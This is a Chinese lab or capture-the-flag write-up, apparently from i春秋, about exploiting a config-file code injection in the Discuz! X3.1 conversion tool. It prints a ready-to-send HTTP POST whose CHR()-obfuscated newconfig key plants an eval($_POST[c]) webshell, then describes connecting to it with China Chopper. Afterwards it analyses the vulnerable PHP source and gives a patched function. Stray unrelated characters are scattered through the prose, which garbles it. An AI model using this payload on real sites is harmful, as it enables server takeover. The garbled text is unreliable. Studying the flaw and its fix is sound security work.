實驗環(huán)境
i 春秋 --- 競賽訓(xùn)練 -- 這不是DZ?
操作機: Windows XP
實驗工具:BURP休建、中國菜刀
目標:獲取www.test.ichunqiu網(wǎng)站的服務(wù)器權(quán)限鄙币。
信息搜集
這是一個純內(nèi)網(wǎng)環(huán)境税迷,與外界沒有聯(lián)網(wǎng)淤翔。滲透目標單一蚂夕,不需要做太多的信息搜集迅诬。
打開目標網(wǎng)站:
嗯,特別清楚的Discuz CMS婿牍。
簡單分析一下CMS信息:Discuz侈贷! x3.1,顯然等脂。
信息搜集是可以考察一下技術(shù)支持單位俏蛮,檢查 “Powered by”信息。獲取CMS信息上遥,去網(wǎng)上找找有沒有他的開源代碼或是漏洞信息搏屑。
信息搜集之 漏洞信息搜集
利用百度、Google等搜索引擎搜集漏洞信息粉楚。(由于實驗環(huán)境沒有網(wǎng)辣恋,這些資料要在本地環(huán)境搜集)
這里可能會用到 Google hacking,搜索引擎語法模软。
漏洞信息 在一些漏洞平臺比如烏云伟骨、補天、seebug等都可能有燃异,當然有些可能要收費才能觀看携狭。
隨便找了幾個,就找到了我們需要的回俐。https://www.exehack.net/134.html
漏洞:http://www.wooyun.org/bugs/wooyun-2010-045611
漏洞利用:
參加:https://bbs.ichunqiu.com/thread-1909-1-1.html
我有點懶得寫了逛腿,直接復(fù)制粘貼,待會直接寫源碼分析了
打開 www.test.ichunqiu/utility/convert
直接使用EXP吧
POST /utility/convert/index.php HTTP/1.1
Host: www.test.ichunqiu
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/2X.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Length: 199
Content-Type: application/x-www-form-urlencoded
a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes
其實其他都不重要仅颇,最后一句所傳的數(shù)據(jù)才是重點鳄逾!
上菜刀!拿shell灵莲!
地址:www.test.ichunqiu/utility/convert/data/config.inc.php 密碼:c
源碼分析
這漏洞出現(xiàn)在一個DZ X系列自帶的轉(zhuǎn)換工具里面雕凹!
漏洞路徑:utility/convert/data/config.inc.php在開始設(shè)置里面可以設(shè)置數(shù)據(jù)的屬性,而post的數(shù)據(jù)直接寫到了config.inc.php這個文件里面政冻,無任何過濾檢測枚抵!
我從網(wǎng)上下載了Discuz x3.1的源碼包,利用notepad++進行代碼審計明场。
payload
首先我們看一下完整的payload:
a=config&source=d7.2_x2.0&newconfig[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//]=aaaa&submit=yes
漏洞原理
index.php 文件分析
首先汽摹,打開 utility/convert/index.php 的源碼:
<?php
// 包含了common.inc.php文件
require './include/common.inc.php';
// 關(guān)于getgpc函數(shù) 在global_func.php 中。參考:http://blog.csdn.net/xavierdarkness/article/details/78062852
$action = getgpc('a'); // 取$_POST['a'],直接賦值給$action 苦锨,此時$action = config;
$action = empty($action) ? getgpc('action') : $action; //此時 $action = config;
$source = getgpc('source') ? getgpc('source') : getgpc('s'); // $source = d7.2_x2.0 HTTP/1.1;
$step = getgpc('step');
$start = getgpc('start');
……省略部分源碼……
if($action == 'source') {
require DISCUZ_ROOT.'./include/do_source.inc.php';
// common.inc.php 如果config.inc.php文件不存在逼泣,就為true
} elseif($action == 'config' || CONFIG_EMPTY) { // $action = config; 包含./include/do_config.inc.php 文件
require DISCUZ_ROOT.'./include/do_config.inc.php';
} elseif($action == 'setting') {
……省略 ……
?>
do_config.inc.php 文件分析
<?php
$configfile = DISCUZ_ROOT.'./data/config.inc.php';
$configfile_default = DISCUZ_ROOT.'./data/config.default.php';
// 創(chuàng)建config.inc.php
@touch($configfile);
// 檢查寫入權(quán)限
if(!is_writable($configfile)) {
showmessage('config_write_error');
}
$config_default = loadconfig('config.default.php'); // 設(shè)置配置文件
$error = array();
// submitcheck()返回true趴泌,此函數(shù)定義在 include\global.func.php 文件中
if(submitcheck()) {
$newconfig = getgpc('newconfig'); //取$_POST[newconfig]數(shù)據(jù)
/*此時newconfig[aaa
eval(eval("$_POST[c];"););//];
*/
if(is_array($newconfig)) {
$checkarray = $setting['config']['ucenter'] ? array('source', 'target', 'ucenter') : array('source', 'target');
foreach ($checkarray as $key) {
if(!empty($newconfig[$key]['dbhost'])) {
$check = mysql_connect_test($newconfig[$key], $key);
if($check < 0) {
$error[$key] = lang('mysql_connect_error_'.abs($check));
}
} else {
$error[$key] = lang('mysql_config_error');
}
}
//保存$newconfig到$configfile文件中,即config.inc.php文件拉庶。接下去查看一下這個函數(shù)吧嗜憔。
save_config_file($configfile, $newconfig, $config_default);
if(empty($error)) {
$db_target = new db_mysql($newconfig['target']);
$db_target->connect();
delete_process('all');
showmessage('config_success', 'index.php?a=select&source='.$source);
}
}
}
?>
函數(shù) save_config_file
所在文件:\utility\convert\include\global.func.php
function save_config_file($filename, $config, $default) {
$config = setdefault($config, $default); // 將$config中的空白項用 $default 中對應(yīng)項的值填充
// 聯(lián)系上下文,即將 './data/config.default.php'文件對應(yīng)項 賦值給 $newconfig 這個數(shù)組中對應(yīng)的空白項
// 此時的$config = $newconfig+config.default.php對應(yīng)項的補充
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
$year = date('Y');
$content = <<<EOT
<?php
\$_config = array();
EOT;
// 看下一步getvars函數(shù)氏仗,此時的$config = $newconfig+config.default.php對應(yīng)項的補充
$content .= getvars(array('_config' => $config));
$content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
file_put_contents($filename, $content);
}
function setdefault($var, $default) {
foreach ($default as $k => $v) {
if(!isset($var[$k])) {
$var[$k] = $default[$k];
} elseif(is_array($v)) {
$var[$k] = setdefault($var[$k], $default[$k]);
}
}
return $var;
}
函數(shù) getvars
所在文件:\utility\convert\include\global.func.php
// $data = array('_config' => $config) 其中 $config = $newconfig+config.default.php對應(yīng)項的補充
function getvars($data, $type = 'VAR') {
$evaluate = '';
foreach($data as $key => $val) {
if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
continue;
}
if(is_array($val)) {
// 查看buildarray函數(shù)吉捶,$key 即為_config
$evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
} else {
$val = addcslashes($val, '\'\\');
$evaluate .= $type == 'VAR' ? "\$$key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
}
}
return $evaluate;
}
buildarray函數(shù)
所在文件:\utility\convert\include\global.func.php
// 這里的$array=$config $level=0 $pre=$_config
function buildarray($array, $level = 0, $pre = '$_config') {
static $ks;
if($level == 0) {
$ks = array();
$return = '';
}
foreach ($array as $key => $val) {
// 遍歷$config 中的 $key => $val , 鍵值對應(yīng)項
if($level == 0) {
//str_pad — 使用另一個字符串填充字符串為指定長度
// 第一個參數(shù)是要輸出的字符串,指定長度為50皆尔,用'-'填充呐舔,居中
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
/*
這里是產(chǎn)生漏洞關(guān)鍵
1. DISCUZ的本意是使用$config數(shù)組的key作為每一塊配置區(qū)域的"注釋標題"
2. 寫入配置文件的$newline依賴于$key,而$key是攻擊者可控的
3. 未對輸入數(shù)據(jù)進行正確的邊界處理慷蠕,導(dǎo)致攻擊者在輸入數(shù)據(jù)中插入換行符珊拼,逃離注釋的作用范圍,從而使輸入數(shù)據(jù)轉(zhuǎn)化為可執(zhí)行代碼
1) 換行符
2) ?>
這類定界符都是可以達到同樣的效果的
*/
$return .= "\r\n// $newline //\r\n";
}
$ks[$level] = $ks[$level - 1]."['$key']";
if(is_array($val)) {
$ks[$level] = $ks[$level - 1]."['$key']";
$return .= buildarray($val, $level + 1, $pre);
} else {
$val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;
$return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";
}
}
return $return;
}
攻擊造成的效果:
newconfig部分對照ASCII碼轉(zhuǎn)換一下就是如下所示:(%0a%0d對應(yīng)Windows下的換行操作 \n\r)
newconfig[aaa
eval(eval("$_POST[c];"););//]=aaaa
這里我們就是通過%0a%0d進行換行操作來繞過注釋流炕,并成功將我們的惡意代碼寫入文件杆麸,不被注釋掉,從而導(dǎo)致我們可以通過菜刀直接連接浪感。
防御方法
\discuz\utility\convert\include\global.func.php
function buildarray($array, $level = 0, $pre = '$_config')
{
static $ks;
if($level == 0){
$ks = array();
$return = '';
}
foreach ($array as $key => $val){
//過濾掉$key中的非字母、數(shù)字及下劃線字符
$key = preg_replace("/[^\w]/", "", $key);
if($level == 0) {
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
$return .= "\r\n// $newline //\r\n";
}
$ks[$level] = $ks[$level - 1]."['$key']";
if(is_array($val)){
$ks[$level] = $ks[$level - 1]."['$key']";
$return .= buildarray($val, $level + 1, $pre);
}else{
$val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val;
$return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n";
}
}
return $return;
}
同一個漏洞別人寫的文章:http://www.cnblogs.com/LittleHann/p/4317665.html